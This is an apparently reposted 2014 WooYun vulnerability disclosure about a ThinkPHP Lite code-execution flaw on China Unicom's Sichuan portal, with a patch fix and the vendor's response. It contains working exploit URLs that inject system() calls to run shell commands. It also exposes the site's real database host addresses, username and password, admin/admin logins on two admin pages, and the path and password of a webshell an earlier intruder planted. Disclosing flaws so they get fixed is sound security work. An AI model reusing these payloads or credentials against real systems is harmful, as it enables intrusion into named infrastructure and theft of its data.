[公开漏洞]中国联通四川省分站代码执行漏洞导致执行任何指令可上传shell

来源:WooYun 浏览:833次 时间:2014-06-16
做网站找雨过天晴工作室
中国联通四川省分站代码执行漏洞导致执行任何指令可上传shell 相关厂商: 中国联通 漏洞作者:路人甲 提交时间:2014-05-02 12:49 公开时间:2014-06-16 12:50 漏洞类型:命令执行 危害等级:高 自评Rank:16 漏洞状态: 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源:http://www.wooyun.org Tags标签: php代码执行 联通 入侵 文件上传 wo门户 漏洞详情 披露状态:

2014-05-02:细节已通知厂商并且等待厂商处理中
2014-05-07:厂商已经确认,细节仅向厂商公开
2014-05-17:细节向核心白帽子及相关领域专家公开
2014-05-27:细节向普通白帽子公开
2014-06-06:细节向实习白帽子公开
2014-06-16:细节向公众公开

简要描述:

WO门户四川省分站代码执行漏洞导致执行任何指令可以上传shell

详细说明:

Thinkphp Lite 代码执行漏洞所导致可以执行任何指令.已经被人入侵放上shell了,貌似还没挂马.

例如:

查看phpinfo信息

http://sc.wo.com.cn/Index/index.php/module/aciton/param1/$%7B@phpinfo()%7D

查看当期目录

http://sc.wo.com.cn/Index/index.php/module/action/param1/%7B$%7Bsystem($_GET['x'])%7D%7D?x=ls%20-al

查看IP信息

http://sc.wo.com.cn/Index/index.php/module/action/param1/%7B$%7Bsystem($_GET['x'])%7D%7D?x=ifconfig





是内网机器,还是vm的虚拟机还算安全,普通用户运行apache还算有安全意识.

数据库密码一堆全暴露了.因为有50.50自动rsync同步web目录,所以webshell很快就被覆盖掉.

/usr/bin/rsync -azvr --progress --delete --password-file=/etc/rsync.ps delochi_rsync@192.168.50.50::backup /home/wwwroot/htdocs/



'DB_HOST'=>'192.168.50.31,192.168.50.32,192.168.50.33',

//'DB_NAME'=>'uni_cms',

'DB_NAME'=>'mini',

'DB_USER'=>'miniuser',

'DB_PWD'=>'mini#!#@##',

'DB_PORT'=>'3306',

'DB_PREFIX'=>'mu_',

'DB_CHARSET'=>'gbk',

'DB_RW_SEPARATE'=>true, //读写分离在读写分离的情况下,第一个数据库配置是主服务器的配置信息,负责写入数据,其它的都是从数据库的配置信息,负责读取数据,数量不限制。每次连接从服务器并且进行读取操作的时候,系统会随机进行在从服务器中选择。

'DB_DEPLOY_TYPE' => 1, //开始主从服务mysql





漏洞证明:

弱口令:

http://sc.wo.com.cn/yysd/admin.php

admin/admin

http://sc.wo.com.cn/qidian/Admin

admin/admin

已经有前辈上传了webshell,可以直接查看系统任何信息和数据库:

http://sc.wo.com.cn/include/dede.inc.php

密码为1qa

详细可见下图

应用目录

1.jpg



服务器IP

2.jpg



用户ID

3.jpg



数据库里的某管理员

4.jpg



5.jpg



后台登陆.

6.jpg



7.jpg



8.jpg





修复方案:

升级程序,官方已经发布补丁:https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838或者直接修改源码:/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php125行:$res = preg_replace(\'@(w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths));修改为$res = preg_replace(\'@(w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']=\\\'\\\\2\\\';\', implode($depr,$paths));将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

版权声明:转载请注明来源 路人甲@乌云 漏洞回应 厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-07 11:58

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由四川分中心协调当地基础电信企业处置。

最新状态:

暂无